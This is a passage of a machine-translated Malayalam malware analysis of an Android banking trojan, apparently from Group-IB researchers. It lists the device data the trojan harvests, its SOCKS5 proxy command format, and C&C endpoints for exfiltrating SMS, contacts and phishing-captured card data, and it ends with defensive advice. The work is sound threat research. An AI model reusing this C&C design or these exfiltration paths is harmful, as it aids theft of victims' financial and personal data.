• imei - ഉപകരണത്തിന്റെ IMEI. മൂല്യം നേടുന്ന പ്രക്രിയയിൽ ഒരു പിശക് സംഭവിച്ചാൽ, ഈ ഫീൽഡിന് പകരം ഒരു പിശക് വാചക സന്ദേശം എഴുതപ്പെടും.
• imsi — ഉപകരണത്തിന്റെ അന്താരാഷ്ട്ര മൊബൈൽ സബ്സ്ക്രൈബർ ഐഡന്റിറ്റി. മൂല്യം നേടുന്ന പ്രക്രിയയിൽ ഒരു പിശക് സംഭവിച്ചാൽ, ഈ ഫീൽഡിന് പകരം ഒരു പിശക് വാചക സന്ദേശം എഴുതപ്പെടും.
• മോഡൽ - അന്തിമ ഉൽപ്പന്നത്തിന്റെ അന്തിമ ഉപയോക്താവിന് ദൃശ്യമാകുന്ന പേര്.
• നിർമ്മാതാവ് - ഉൽപ്പന്നത്തിന്റെ/ഹാർഡ്‌വെയറിന്റെ നിർമ്മാതാവ് (Build.MANUFACTURER).
• androidVersion - "<%release_version%> (<%os_version%>),<%sdk_version%>" ഫോർമാറ്റിലുള്ള ഒരു സ്ട്രിംഗ്
• രാജ്യം - ഉപകരണത്തിന്റെ നിലവിലെ സ്ഥാനം.
• partnerId ഒരു ശൂന്യമായ സ്ട്രിംഗ് ആണ്.
• പാക്കേജിന്റെ പേര് - പാക്കേജിന്റെ പേര്.
• നെറ്റ്‌വർക്ക് തരം - നിലവിലെ നെറ്റ്‌വർക്ക് കണക്ഷന്റെ തരം (ഉദാഹരണം: "വൈഫൈ", "മൊബൈൽ"). പിശകുണ്ടായാൽ, അസാധുവായി നൽകുന്നു.
• hasGsmSupport – true – ഫോൺ GSM പിന്തുണയ്ക്കുന്നുവെങ്കിൽ, അല്ലെങ്കിൽ തെറ്റ്.
• simReady - സിം കാർഡ് നില.
• simCountry - ISO രാജ്യ കോഡ് (സിം കാർഡ് ദാതാവിനെ അടിസ്ഥാനമാക്കി).
• നെറ്റ്വർക്ക് ഓപ്പറേറ്റർ - ഓപ്പറേറ്ററുടെ പേര്. മൂല്യം നേടുന്ന പ്രക്രിയയിൽ ഒരു പിശക് സംഭവിച്ചാൽ, ഈ ഫീൽഡിന് പകരം ഒരു പിശക് വാചക സന്ദേശം എഴുതപ്പെടും.
• simOperator - സേവന ദാതാവിന്റെ പേര് (SPN). മൂല്യം നേടുന്ന പ്രക്രിയയിൽ ഒരു പിശക് സംഭവിച്ചാൽ, ഈ ഫീൽഡിന് പകരം ഒരു പിശക് വാചക സന്ദേശം എഴുതപ്പെടും.
• പതിപ്പ് - ഈ ഫീൽഡ് കോൺഫിഗറേഷൻ ക്ലാസിൽ സംഭരിച്ചിരിക്കുന്നു; ബോട്ടിന്റെ പരീക്ഷിച്ച പതിപ്പുകൾക്ക് ഇത് "1.6" ന് തുല്യമാണ്.

5. സെർവറിൽ നിന്നുള്ള കമാൻഡുകൾക്കായി കാത്തിരിക്കുന്ന രീതിയിലേക്ക് മാറുന്നു. സെർവറിൽ നിന്നുള്ള കമാൻഡുകൾ ഫോർമാറ്റിൽ വരുന്നു:

• 0 ഓഫ്സെറ്റ് - കമാൻഡ്
• 1 ഓഫ്‌സെറ്റ് - സെഷൻ ഐഡി
• 2 ഓഫ്സെറ്റ് - ദൈർഘ്യം
• 4 ഓഫ്സെറ്റ് - ഡാറ്റ

ഒരു കമാൻഡ് വരുമ്പോൾ, ആപ്ലിക്കേഷൻ ലോഗ് ചെയ്യുന്നു:
mainLog("ഹെഡർ { sessionId<%id%>], തരം[<%command%>], ദൈർഘ്യം[<%length%>] }")

സെർവറിൽ നിന്നുള്ള ഇനിപ്പറയുന്ന കമാൻഡുകൾ സാധ്യമാണ്:

പേര്	കമാൻഡ്	ഡാറ്റ	വിവരണം
കണക്ഷൻ ഐഡി	0	കണക്ഷൻ ഐഡി	ഒരു പുതിയ കണക്ഷൻ സൃഷ്ടിക്കുക
ഉറക്കം	3	കാലം	പ്രോക്സി മൊഡ്യൂൾ താൽക്കാലികമായി നിർത്തുക
PING_PONG	4	-	PONG സന്ദേശം അയയ്‌ക്കുക

ഒരു PONG സന്ദേശത്തിൽ 4 ബൈറ്റുകൾ അടങ്ങിയിരിക്കുന്നു, ഇതുപോലെ കാണപ്പെടുന്നു: 0x04000000.

connectionId കമാൻഡ് ലഭിക്കുമ്പോൾ (ഒരു പുതിയ കണക്ഷൻ സൃഷ്ടിക്കുന്നതിന്) കമാൻഡ് കണക്ഷൻ ഒരു ക്ലാസ്സിന്റെ ഒരു ഉദാഹരണം സൃഷ്ടിക്കുന്നു പ്രോക്സികണക്ഷൻ.

• പ്രോക്സിയിംഗിൽ രണ്ട് ക്ലാസുകൾ പങ്കെടുക്കുന്നു: പ്രോക്സികണക്ഷൻ и അവസാനിക്കുന്നു. ഒരു ക്ലാസ് സൃഷ്ടിക്കുമ്പോൾ പ്രോക്സികണക്ഷൻ വിലാസത്തിലേക്ക് ബന്ധിപ്പിക്കുന്നു ProxyConfigClass.host: ProxyConfigClass.proxyPort കൂടാതെ JSON ഒബ്‌ജക്‌റ്റ് കടന്നുപോകുന്നു:

 {
    "id":<%connectionId%>
}

പ്രതികരണമായി, കണക്ഷൻ സ്ഥാപിക്കേണ്ട റിമോട്ട് സെർവറിന്റെ വിലാസം അടങ്ങുന്ന ഒരു SOCKS5 സന്ദേശം സെർവർ അയയ്ക്കുന്നു. ഈ സെർവറുമായുള്ള ഇടപെടൽ ക്ലാസ് വഴിയാണ് സംഭവിക്കുന്നത് അവസാനിക്കുന്നു. കണക്ഷൻ സജ്ജീകരണത്തെ ഇനിപ്പറയുന്ന രീതിയിൽ പ്രതിനിധീകരിക്കാം:

നെറ്റ്‌വർക്ക് ഇടപെടലുകൾ

നെറ്റ്‌വർക്ക് സ്‌നിഫർമാരുടെ ട്രാഫിക് വിശകലനം തടയുന്നതിന്, CnC സെർവറും ആപ്ലിക്കേഷനും തമ്മിലുള്ള ഇടപെടൽ SSL പ്രോട്ടോക്കോൾ ഉപയോഗിച്ച് പരിരക്ഷിക്കാൻ കഴിയും. സെർവറിൽ നിന്നും സെർവറിലേക്കും കൈമാറിയ എല്ലാ ഡാറ്റയും JSON ഫോർമാറ്റിൽ അവതരിപ്പിച്ചിരിക്കുന്നു. പ്രവർത്തന സമയത്ത് ആപ്ലിക്കേഷൻ ഇനിപ്പറയുന്ന അഭ്യർത്ഥനകൾ നടപ്പിലാക്കുന്നു:

• http://<%CnC%>/api/v1/set_state.php - കമാൻഡ് എക്സിക്യൂഷന്റെ ഫലം.
• http://<%CnC%>/api/v1/get.php - ഒരു കമാൻഡ് സ്വീകരിക്കുന്നു.
• http://<%CnC%>/api/v1/load_sms.php - രോഗബാധിതമായ ഒരു ഉപകരണത്തിൽ നിന്ന് SMS സന്ദേശങ്ങൾ ഡൗൺലോഡ് ചെയ്യുന്നു.
• http://<%CnC%>/api/v1/load_ab.php - രോഗം ബാധിച്ച ഉപകരണത്തിൽ നിന്ന് കോൺടാക്റ്റുകളുടെ ഒരു ലിസ്റ്റ് അപ്‌ലോഡ് ചെയ്യുന്നു.
• http://<%CnC%>/api/v1/aevents.php - മുൻഗണന ഫയലിൽ സ്ഥിതിചെയ്യുന്ന പാരാമീറ്ററുകൾ അപ്ഡേറ്റ് ചെയ്യുമ്പോൾ അഭ്യർത്ഥന നടത്തുന്നു.
• http://<%CnC%>/api/v1/set_card.php — ഗൂഗിൾ പ്ലേ മാർക്കറ്റ് എന്ന പേരിൽ ഒരു ഫിഷിംഗ് വിൻഡോ ഉപയോഗിച്ച് ലഭിച്ച ഡാറ്റ അപ്‌ലോഡ് ചെയ്യുന്നു.
• http://<%CnC%>/api/v1/logs.php - ലോഗ് ഡാറ്റ അപ്‌ലോഡ് ചെയ്യുന്നു.
• http://<%CnC%>/api/v1/records.php - ഫിഷിംഗ് വിൻഡോകൾ വഴി ലഭിച്ച ഡാറ്റ അപ്‌ലോഡ് ചെയ്യുന്നു.
• http://<%CnC%>/api/v1/set_error.php - സംഭവിച്ച ഒരു പിശകിന്റെ അറിയിപ്പ്.

ശുപാർശകൾ

മൊബൈൽ ട്രോജനുകളുടെ ഭീഷണിയിൽ നിന്ന് ഉപഭോക്താക്കളെ സംരക്ഷിക്കുന്നതിന്, ഉപയോക്തൃ ഉപകരണങ്ങളിൽ അധിക സോഫ്‌റ്റ്‌വെയർ ഇൻസ്റ്റാൾ ചെയ്യാതെ തന്നെ ക്ഷുദ്രകരമായ പ്രവർത്തനം നിരീക്ഷിക്കാനും തടയാനും അനുവദിക്കുന്ന സമഗ്രമായ പരിഹാരങ്ങൾ കമ്പനികൾ ഉപയോഗിക്കണം.

ഇത് ചെയ്യുന്നതിന്, ക്ലയന്റിന്റെയും ആപ്ലിക്കേഷന്റെയും പെരുമാറ്റം വിശകലനം ചെയ്യുന്നതിനുള്ള സാങ്കേതികവിദ്യകൾ ഉപയോഗിച്ച് മൊബൈൽ ട്രോജനുകൾ കണ്ടെത്തുന്നതിനുള്ള സിഗ്നേച്ചർ രീതികൾ ശക്തിപ്പെടുത്തേണ്ടതുണ്ട്. ഡിജിറ്റൽ ഫിംഗർപ്രിന്റ് സാങ്കേതികവിദ്യ ഉപയോഗിച്ച് ഒരു ഉപകരണ ഐഡന്റിഫിക്കേഷൻ ഫംഗ്‌ഷനും പരിരക്ഷയിൽ ഉൾപ്പെടുത്തണം, ഇത് ഒരു വിചിത്രമായ ഉപകരണത്തിൽ നിന്ന് ഒരു അക്കൗണ്ട് എപ്പോൾ ഉപയോഗിക്കപ്പെടുന്നുവെന്നും ഇതിനകം തന്നെ ഒരു വഞ്ചകന്റെ കൈകളിൽ അകപ്പെട്ടുവെന്നും മനസ്സിലാക്കുന്നത് സാധ്യമാക്കും.

ക്രോസ്-ചാനൽ വിശകലനത്തിന്റെ ലഭ്യതയാണ് അടിസ്ഥാനപരമായി പ്രധാനപ്പെട്ട ഒരു കാര്യം, ഇത് ഇൻറർനെറ്റിൽ മാത്രമല്ല, മൊബൈൽ ചാനലിലും ഉണ്ടാകുന്ന അപകടസാധ്യതകൾ നിയന്ത്രിക്കാൻ കമ്പനികളെ അനുവദിക്കുന്നു, ഉദാഹരണത്തിന്, മൊബൈൽ ബാങ്കിംഗിനായുള്ള ആപ്ലിക്കേഷനുകളിൽ, ക്രിപ്‌റ്റോകറൻസികളുമായുള്ള ഇടപാടുകൾക്കും മറ്റും. ഇടപാടുകൾ നടത്താം സാമ്പത്തിക ഇടപാട്.

ഉപയോക്താക്കൾക്കുള്ള സുരക്ഷാ നിയമങ്ങൾ:

• ഗൂഗിൾ പ്ലേ ഒഴികെയുള്ള സ്രോതസ്സുകളിൽ നിന്ന് Android OS ഉള്ള ഒരു മൊബൈൽ ഉപകരണത്തിനായി ആപ്ലിക്കേഷനുകൾ ഇൻസ്റ്റാൾ ചെയ്യരുത്, ആപ്ലിക്കേഷൻ അഭ്യർത്ഥിച്ച അവകാശങ്ങളിൽ പ്രത്യേക ശ്രദ്ധ നൽകുക;
• പതിവായി ആൻഡ്രോയിഡ് OS അപ്ഡേറ്റുകൾ ഇൻസ്റ്റാൾ ചെയ്യുക;
• ഡൗൺലോഡ് ചെയ്ത ഫയലുകളുടെ വിപുലീകരണങ്ങൾ ശ്രദ്ധിക്കുക;
• സംശയാസ്പദമായ വിഭവങ്ങൾ സന്ദർശിക്കരുത്;
• SMS സന്ദേശങ്ങളിൽ ലഭിക്കുന്ന ലിങ്കുകളിൽ ക്ലിക്ക് ചെയ്യരുത്.

അഭിനയിക്കുന്നു സെമിയോൺ റോഗച്ചേവ, ഗ്രൂപ്പ്-ഐബി കമ്പ്യൂട്ടർ ഫോറൻസിക് ലബോറട്ടറിയിലെ ക്ഷുദ്രവെയർ ഗവേഷണത്തിലെ ജൂനിയർ സ്പെഷ്യലിസ്റ്റ്.

അവലംബം: www.habr.com